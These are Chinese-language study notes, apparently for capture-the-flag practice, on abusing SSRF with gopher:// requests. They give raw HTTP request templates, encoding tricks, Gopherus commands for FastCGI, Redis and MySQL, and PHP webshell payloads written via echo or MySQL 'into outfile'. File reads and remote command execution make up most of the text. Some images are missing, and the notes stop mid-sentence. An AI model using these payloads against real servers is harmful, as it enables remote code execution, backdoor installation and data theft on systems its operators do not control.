基础知识
基本格式
基本格式:URL:gopher://<host>:<port>/<gopher-path>
- web也需要加端口号80
- gophert协议默认端口为70
- gopheri请求不转发第一个字符
get请求
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
- URL编码改为大写,冒号注意英文冒号
- 如果使用BP发包需要进行两次u编码
- GET提交最后需要增加一个换行符
gopher://127.0.0.1:80/_
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1
为什么bp要进行两次url编码
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode
post请求
需要注意的是,post请求有4个参数为必要参数。
gopher://127.0.0.1:80/_
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
a=hello
当我们不得不添加别的参数
Cookie
POST /index.php HTTP/1.1
Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
uname=admin&passwd=admin
xxe
[[xxe]]
sql-get
[[sql注入]]
注意不要使用+当做空格,就页面里面用%20,bp或hackbar用%2520
[外链图片转存中…(img-kwRcQIhN-1711552424782)]
sql-post
[[sql注入]]
[外链图片转存中…(img-yt5YfBVj-1711552424782)]
文件上传
[[文件上传]]
前置知识
如何构造payload
使用
假设172.6.0.1:80页面有文件上传
gopher://172.6.0.1:80/_
文件包含
[[文件包含]]
Gopherus工具
使用范围
目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
RCE
python2 gopherus.py –exploit fastcgi(写支持的名字,如fastcgi,redis,mysql)
/var/www/html/index.php //?url= 页面的具体目录
ls
ls /
cat /flag.php
webshell
python2 gopherus.py –exploit fastcgi
/var/www/html/index.php //?url= 页面的具体目录
echo "<?php eval(\$_POST[123]);?>" >1.php //$_POST[]里面不能是字母,前面的 \ 不可少! 就用这个,别改就行!!!
python2 gopherus.py –exploit redis
PHPShell //这里有两个选项:ReverseShell应该是反弹shell PHPshell(填php也行)就是webshell了
/var/www/html/index.php
<?php eval($_POST["aaa"])?> //redis好像和fastcgi不同,他的webshell不能用,redis的POST里面是字母,他的是数字 用这个, //别改就行
mysql
不使用工具生成的话去看图片笔记
条件
因为是使用into outfile函数写入的,有一下限制
[[mysql-文件读写#1.13.3. 写文件]]
常规使用
python2 gopherus.py --exploit mysql
select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select "<?php @eval($_POST['t']);?>" into outfile '/var/www/html/4.php';
select load_file("/flag");
UDF 提权
https://www.sqlsec.com/udf/
redis未授权
如果对方有网站,